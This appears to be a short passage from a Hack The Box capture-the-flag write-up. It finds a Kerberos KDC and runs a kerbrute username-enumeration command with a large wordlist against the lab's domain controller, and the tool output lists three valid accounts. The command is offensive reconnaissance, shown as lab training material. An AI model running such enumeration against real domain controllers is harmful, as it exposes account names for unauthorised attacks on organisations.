KDC
Nmap discovered a KDC on the target ports 88 and 464
The running service is Microsoft Windows Kerberos
Brute Force Attack
While I do not know the naming convention that the target domain uses, I will attempt to enumerate usernames as much as possible by brute-forcing the KDC I will get that running in the background while enumerating other services for efficiency
┌──(kali㉿kali)-[~/archive/htb/labs/ghost]
└─$ kerbrute userenum --dc dc01.ghost.htb -d GHOST.HTB /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -t 200
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 07/15/24 - Ronnie Flathers @ropnop
2024/07/15 11:23:57 > Using KDC(s):
2024/07/15 11:23:57 > dc01.ghost.htb:88
2024/07/15 11:23:58 > [+] VALID USERNAME: administrator@GHOST.HTB
2024/07/15 11:24:05 > [+] VALID USERNAME: Administrator@GHOST.HTB
2024/07/15 12:24:54 > [+] VALID USERNAME: dc01@GHOST.HTB
2024/07/15 12:43:07 > Done! Tested 8295455 usernames (3 valid) in 4749.745 seconds